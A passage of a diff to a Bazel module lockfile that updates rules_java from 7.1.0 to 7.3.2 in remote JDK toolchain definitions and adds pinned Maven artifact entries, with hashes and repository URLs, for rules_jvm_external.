[\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 17,\n)\n", "sha256": "ffacba69c6843d7ca70d572489d6cc7ab7ae52c60f0852cedf4cf0d248b6fc37", "strip_prefix": "jdk-17.0.8.1+1", @@ -1242,10 +1605,10 @@ } }, "remotejdk17_win_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk17_win_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk17_win_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_17\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"17\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:windows\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk17_win//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:windows\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk17_win//:jdk\",\n)\n" } }, @@ -1253,7 +1616,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk11_linux_ppc64le", + "name": "rules_java~7.3.2~toolchains~remotejdk11_linux_ppc64le", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 11,\n)\n", "sha256": "a8fba686f6eb8ae1d1a9566821dbd5a85a1108b96ad857fdbac5c1e4649fc56f", "strip_prefix": "jdk-11.0.15+10", @@ -1267,7 +1630,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk11_macos_aarch64", + "name": "rules_java~7.3.2~toolchains~remotejdk11_macos_aarch64", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 11,\n)\n", "sha256": "7632bc29f8a4b7d492b93f3bc75a7b61630894db85d136456035ab2a24d38885", "strip_prefix": "zulu11.66.15-ca-jdk11.0.20-macosx_aarch64", @@ -1278,89 +1641,1646 @@ } }, "remotejdk21_win_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk21_win_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk21_win_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_21\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"21\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:windows\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk21_win//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:windows\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk21_win//:jdk\",\n)\n" } } - } + }, + "recordedRepoMappingEntries": [ + [ + "rules_java~7.3.2", + "bazel_tools", + "bazel_tools" + ], + [ + "rules_java~7.3.2", + "remote_java_tools", + "rules_java~7.3.2~toolchains~remote_java_tools" + ] + ] } }, - "@@rules_python~0.4.0//bzlmod:extensions.bzl%pip_install": { + "@@rules_jvm_external~4.4.2//:extensions.bzl%maven": { "general": { - "bzlTransitiveDigest": "rTru6D/C8vlaQDk4HOKyx4U/l6PCnj3Aq/gLraAqHgQ=", + "bzlTransitiveDigest": "yXprMX4LqzJwuZlbtT9WNeu7p2iEYw7j4R1NP9pc4Ow=", + "accumulatedFileDigests": { + "@@rules_jvm_external~4.4.2//:rules_jvm_external_deps_install.json": "10442a5ae27d9ff4c2003e5ab71643bf0d8b48dcf968b4173fa274c3232a8c06" + }, + "envVariables": {}, + "generatedRepoSpecs": { + "org_slf4j_slf4j_api_1_7_30": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~org_slf4j_slf4j_api_1_7_30", + "sha256": "cdba07964d1bb40a0761485c6b1e8c2f8fd9eb1d19c53928ac0d7f9510105c57", + "urls": [ + "https://repo1.maven.org/maven2/org/slf4j/slf4j-api/1.7.30/slf4j-api-1.7.30.jar", + "https://maven.google.com/org/slf4j/slf4j-api/1.7.30/slf4j-api-1.7.30.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/org/slf4j/slf4j-api/1.7.30/slf4j-api-1.7.30.jar" + } + }, + "com_google_api_grpc_proto_google_common_protos_2_0_1": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_api_grpc_proto_google_common_protos_2_0_1", + "sha256": "5ce71656118618731e34a5d4c61aa3a031be23446dc7de8b5a5e77b66ebcd6ef", + "urls": [ + "https://repo1.maven.org/maven2/com/google/api/grpc/proto-google-common-protos/2.0.1/proto-google-common-protos-2.0.1.jar", + "https://maven.google.com/com/google/api/grpc/proto-google-common-protos/2.0.1/proto-google-common-protos-2.0.1.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/api/grpc/proto-google-common-protos/2.0.1/proto-google-common-protos-2.0.1.jar" + } + }, + "com_google_api_gax_1_60_0": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_api_gax_1_60_0", + "sha256": "02f37d4ff1a7b8d71dff8064cf9568aa4f4b61bcc4485085d16130f32afa5a79", + "urls": [ + "https://repo1.maven.org/maven2/com/google/api/gax/1.60.0/gax-1.60.0.jar", + "https://maven.google.com/com/google/api/gax/1.60.0/gax-1.60.0.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/api/gax/1.60.0/gax-1.60.0.jar" + } + }, + "com_google_guava_failureaccess_1_0_1": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_guava_failureaccess_1_0_1", + "sha256": "a171ee4c734dd2da837e4b16be9df4661afab72a41adaf31eb84dfdaf936ca26", + "urls": [ + "https://repo1.maven.org/maven2/com/google/guava/failureaccess/1.0.1/failureaccess-1.0.1.jar", + "https://maven.google.com/com/google/guava/failureaccess/1.0.1/failureaccess-1.0.1.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/guava/failureaccess/1.0.1/failureaccess-1.0.1.jar" + } + }, + "commons_logging_commons_logging_1_2": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~commons_logging_commons_logging_1_2", + "sha256": "daddea1ea0be0f56978ab3006b8ac92834afeefbd9b7e4e6316fca57df0fa636", + "urls": [ + "https://repo1.maven.org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar", + "https://maven.google.com/commons-logging/commons-logging/1.2/commons-logging-1.2.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar" + } + }, + "com_google_http_client_google_http_client_appengine_1_38_0": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_http_client_google_http_client_appengine_1_38_0", + "sha256": "f97b495fd97ac3a3d59099eb2b55025f4948230da15a076f189b9cff37c6b4d2", + "urls": [ + "https://repo1.maven.org/maven2/com/google/http-client/google-http-client-appengine/1.38.0/google-http-client-appengine-1.38.0.jar", + "https://maven.google.com/com/google/http-client/google-http-client-appengine/1.38.0/google-http-client-appengine-1.38.0.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/http-client/google-http-client-appengine/1.38.0/google-http-client-appengine-1.38.0.jar" + } + }, + "com_google_cloud_google_cloud_storage_1_113_4": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_cloud_google_cloud_storage_1_113_4", + "sha256": "796833e9bdab80c40bbc820e65087eb8f28c6bfbca194d2e3e00d98cb5bc55d6", + "urls": [ + "https://repo1.maven.org/maven2/com/google/cloud/google-cloud-storage/1.113.4/google-cloud-storage-1.113.4.jar", + "https://maven.google.com/com/google/cloud/google-cloud-storage/1.113.4/google-cloud-storage-1.113.4.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/cloud/google-cloud-storage/1.113.4/google-cloud-storage-1.113.4.jar" + } + }, + "io_grpc_grpc_context_1_33_1": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~io_grpc_grpc_context_1_33_1", + "sha256": "99b8aea2b614fe0e61c3676e681259dc43c2de7f64620998e1a8435eb2976496", + "urls": [ + "https://repo1.maven.org/maven2/io/grpc/grpc-context/1.33.1/grpc-context-1.33.1.jar", + "https://maven.google.com/io/grpc/grpc-context/1.33.1/grpc-context-1.33.1.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/io/grpc/grpc-context/1.33.1/grpc-context-1.33.1.jar" + } + }, + "com_google_api_grpc_proto_google_iam_v1_1_0_3": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_api_grpc_proto_google_iam_v1_1_0_3", + "sha256": "64cee7383a97e846da8d8e160e6c8fe30561e507260552c59e6ccfc81301fdc8", + "urls": [ + "https://repo1.maven.org/maven2/com/google/api/grpc/proto-google-iam-v1/1.0.3/proto-google-iam-v1-1.0.3.jar", + "https://maven.google.com/com/google/api/grpc/proto-google-iam-v1/1.0.3/proto-google-iam-v1-1.0.3.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/api/grpc/proto-google-iam-v1/1.0.3/proto-google-iam-v1-1.0.3.jar" + } + }, + "com_google_api_api_common_1_10_1": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_api_api_common_1_10_1", + "sha256": "2a033f24bb620383eda440ad307cb8077cfec1c7eadc684d65216123a1b9613a", + "urls": [ + "https://repo1.maven.org/maven2/com/google/api/api-common/1.10.1/api-common-1.10.1.jar", + "https://maven.google.com/com/google/api/api-common/1.10.1/api-common-1.10.1.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/api/api-common/1.10.1/api-common-1.10.1.jar" + } + }, + "com_google_auth_google_auth_library_oauth2_http_0_22_0": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_auth_google_auth_library_oauth2_http_0_22_0", + "sha256": "1722d895c42dc42ea1d1f392ddbec1fbb28f7a979022c3a6c29acc39cc777ad1", + "urls": [ + "https://repo1.maven.org/maven2/com/google/auth/google-auth-library-oauth2-http/0.22.0/google-auth-library-oauth2-http-0.22.0.jar", + "https://maven.google.com/com/google/auth/google-auth-library-oauth2-http/0.22.0/google-auth-library-oauth2-http-0.22.0.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/auth/google-auth-library-oauth2-http/0.22.0/google-auth-library-oauth2-http-0.22.0.jar" + } + }, + "com_typesafe_netty_netty_reactive_streams_2_0_5": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_typesafe_netty_netty_reactive_streams_2_0_5", + "sha256": "f949849fc8ee75fde468ba3a35df2e04577fa31a2940b83b2a7dc9d14dac13d6", + "urls": [ + "https://repo1.maven.org/maven2/com/typesafe/netty/netty-reactive-streams/2.0.5/netty-reactive-streams-2.0.5.jar", + "https://maven.google.com/com/typesafe/netty/netty-reactive-streams/2.0.5/netty-reactive-streams-2.0.5.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/typesafe/netty/netty-reactive-streams/2.0.5/netty-reactive-streams-2.0.5.jar" + } + }, + "com_typesafe_netty_netty_reactive_streams_http_2_0_5": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_typesafe_netty_netty_reactive_streams_http_2_0_5", + "sha256": "b39224751ad936758176e9d994230380ade5e9079e7c8ad778e3995779bcf303", + "urls": [ + "https://repo1.maven.org/maven2/com/typesafe/netty/netty-reactive-streams-http/2.0.5/netty-reactive-streams-http-2.0.5.jar", + "https://maven.google.com/com/typesafe/netty/netty-reactive-streams-http/2.0.5/netty-reactive-streams-http-2.0.5.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/typesafe/netty/netty-reactive-streams-http/2.0.5/netty-reactive-streams-http-2.0.5.jar" + } + }, + "javax_annotation_javax_annotation_api_1_3_2": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~javax_annotation_javax_annotation_api_1_3_2", + "sha256": "e04ba5195bcd555dc95650f7cc614d151e4bcd52d29a10b8aa2197f3ab89ab9b", + "urls": [ + "https://repo1.maven.org/maven2/javax/annotation/javax.annotation-api/1.3.2/javax.annotation-api-1.3.2.jar", + "https://maven.google.com/javax/annotation/javax.annotation-api/1.3.2/javax.annotation-api-1.3.2.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/javax/annotation/javax.annotation-api/1.3.2/javax.annotation-api-1.3.2.jar" + } + }, + "com_google_j2objc_j2objc_annotations_1_3": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_j2objc_j2objc_annotations_1_3", + "sha256": "21af30c92267bd6122c0e0b4d20cccb6641a37eaf956c6540ec471d584e64a7b", + "urls": [ + "https://repo1.maven.org/maven2/com/google/j2objc/j2objc-annotations/1.3/j2objc-annotations-1.3.jar", + "https://maven.google.com/com/google/j2objc/j2objc-annotations/1.3/j2objc-annotations-1.3.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/j2objc/j2objc-annotations/1.3/j2objc-annotations-1.3.jar" + } + }, + "software_amazon_awssdk_metrics_spi_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_metrics_spi_2_17_183", + "sha256": "08a11dc8c4ba464beafbcc7ac05b8c724c1ccb93da99482e82a68540ac704e4a", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/metrics-spi/2.17.183/metrics-spi-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/metrics-spi/2.17.183/metrics-spi-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/metrics-spi/2.17.183/metrics-spi-2.17.183.jar" + } + }, + "org_reactivestreams_reactive_streams_1_0_3": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~org_reactivestreams_reactive_streams_1_0_3", + "sha256": "1dee0481072d19c929b623e155e14d2f6085dc011529a0a0dbefc84cf571d865", + "urls": [ + "https://repo1.maven.org/maven2/org/reactivestreams/reactive-streams/1.0.3/reactive-streams-1.0.3.jar", + "https://maven.google.com/org/reactivestreams/reactive-streams/1.0.3/reactive-streams-1.0.3.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/org/reactivestreams/reactive-streams/1.0.3/reactive-streams-1.0.3.jar" + } + }, + "com_google_http_client_google_http_client_jackson2_1_38_0": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_http_client_google_http_client_jackson2_1_38_0", + "sha256": "e6504a82425fcc2168a4ca4175138ddcc085168daed8cdedb86d8f6fdc296e1e", + "urls": [ + "https://repo1.maven.org/maven2/com/google/http-client/google-http-client-jackson2/1.38.0/google-http-client-jackson2-1.38.0.jar", + "https://maven.google.com/com/google/http-client/google-http-client-jackson2/1.38.0/google-http-client-jackson2-1.38.0.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/http-client/google-http-client-jackson2/1.38.0/google-http-client-jackson2-1.38.0.jar" + } + }, + "io_netty_netty_transport_4_1_72_Final": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~io_netty_netty_transport_4_1_72_Final", + "sha256": "c5fb68e9a65b6e8a516adfcb9fa323479ee7b4d9449d8a529d2ecab3d3711d5a", + "urls": [ + "https://repo1.maven.org/maven2/io/netty/netty-transport/4.1.72.Final/netty-transport-4.1.72.Final.jar", + "https://maven.google.com/io/netty/netty-transport/4.1.72.Final/netty-transport-4.1.72.Final.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/io/netty/netty-transport/4.1.72.Final/netty-transport-4.1.72.Final.jar" + } + }, + "io_netty_netty_codec_http2_4_1_72_Final": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~io_netty_netty_codec_http2_4_1_72_Final", + "sha256": "c89a70500f59e8563e720aaa808263a514bd9e2bd91ba84eab8c2ccb45f234b2", + "urls": [ + "https://repo1.maven.org/maven2/io/netty/netty-codec-http2/4.1.72.Final/netty-codec-http2-4.1.72.Final.jar", + "https://maven.google.com/io/netty/netty-codec-http2/4.1.72.Final/netty-codec-http2-4.1.72.Final.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/io/netty/netty-codec-http2/4.1.72.Final/netty-codec-http2-4.1.72.Final.jar" + } + }, + "io_opencensus_opencensus_api_0_24_0": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~io_opencensus_opencensus_api_0_24_0", + "sha256": "f561b1cc2673844288e596ddf5bb6596868a8472fd2cb8993953fc5c034b2352", + "urls": [ + "https://repo1.maven.org/maven2/io/opencensus/opencensus-api/0.24.0/opencensus-api-0.24.0.jar", + "https://maven.google.com/io/opencensus/opencensus-api/0.24.0/opencensus-api-0.24.0.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/io/opencensus/opencensus-api/0.24.0/opencensus-api-0.24.0.jar" + } + }, + "rules_jvm_external_deps": { + "bzlFile": "@@rules_jvm_external~4.4.2//:coursier.bzl", + "ruleClassName": "pinned_coursier_fetch", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~rules_jvm_external_deps", + "repositories": [ + "{ \"repo_url\": \"https://repo1.maven.org/maven2\" }" + ], + "artifacts": [ + "{\"artifact\":\"google-cloud-core\",\"group\":\"com.google.cloud\",\"version\":\"1.93.10\"}", + "{\"artifact\":\"google-cloud-storage\",\"group\":\"com.google.cloud\",\"version\":\"1.113.4\"}", + "{\"artifact\":\"gson\",\"group\":\"com.google.code.gson\",\"version\":\"2.9.0\"}", + "{\"artifact\":\"maven-artifact\",\"group\":\"org.apache.maven\",\"version\":\"3.8.6\"}", + "{\"artifact\":\"s3\",\"group\":\"software.amazon.awssdk\",\"version\":\"2.17.183\"}" + ], + "fetch_sources": true, + "fetch_javadoc": false, + "generate_compat_repositories": false, + "maven_install_json": "@@rules_jvm_external~4.4.2//:rules_jvm_external_deps_install.json", + "override_targets": {}, + "strict_visibility": false, + "strict_visibility_value": [ + "@@//visibility:private" + ], + "jetify": false, + "jetify_include_list": [ + "*" + ], + "additional_netrc_lines": [], + "fail_if_repin_required": false, + "use_starlark_android_rules": false, + "aar_import_bzl_label": "@build_bazel_rules_android//android:rules.bzl", + "duplicate_version_warning": "warn" + } + }, + "org_threeten_threetenbp_1_5_0": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~org_threeten_threetenbp_1_5_0", + "sha256": "dcf9c0f940739f2a825cd8626ff27113459a2f6eb18797c7152f93fff69c264f", + "urls": [ + "https://repo1.maven.org/maven2/org/threeten/threetenbp/1.5.0/threetenbp-1.5.0.jar", + "https://maven.google.com/org/threeten/threetenbp/1.5.0/threetenbp-1.5.0.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/org/threeten/threetenbp/1.5.0/threetenbp-1.5.0.jar" + } + }, + "software_amazon_awssdk_http_client_spi_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_http_client_spi_2_17_183", + "sha256": "fe7120f175df9e47ebcc5d946d7f40110faf2ba0a30364f3b935d5b8a5a6c3c6", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/http-client-spi/2.17.183/http-client-spi-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/http-client-spi/2.17.183/http-client-spi-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/http-client-spi/2.17.183/http-client-spi-2.17.183.jar" + } + }, + "software_amazon_awssdk_third_party_jackson_core_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_third_party_jackson_core_2_17_183", + "sha256": "1bc27c9960993c20e1ab058012dd1ae04c875eec9f0f08f2b2ca41e578dee9a4", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/third-party-jackson-core/2.17.183/third-party-jackson-core-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/third-party-jackson-core/2.17.183/third-party-jackson-core-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/third-party-jackson-core/2.17.183/third-party-jackson-core-2.17.183.jar" + } + }, + "software_amazon_eventstream_eventstream_1_0_1": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_eventstream_eventstream_1_0_1", + "sha256": "0c37d8e696117f02c302191b8110b0d0eb20fa412fce34c3a269ec73c16ce822", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/eventstream/eventstream/1.0.1/eventstream-1.0.1.jar", + "https://maven.google.com/software/amazon/eventstream/eventstream/1.0.1/eventstream-1.0.1.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/eventstream/eventstream/1.0.1/eventstream-1.0.1.jar" + } + }, + "com_google_oauth_client_google_oauth_client_1_31_1": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_oauth_client_google_oauth_client_1_31_1", + "sha256": "4ed4e2948251dbda66ce251bd7f3b32cd8570055e5cdb165a3c7aea8f43da0ff", + 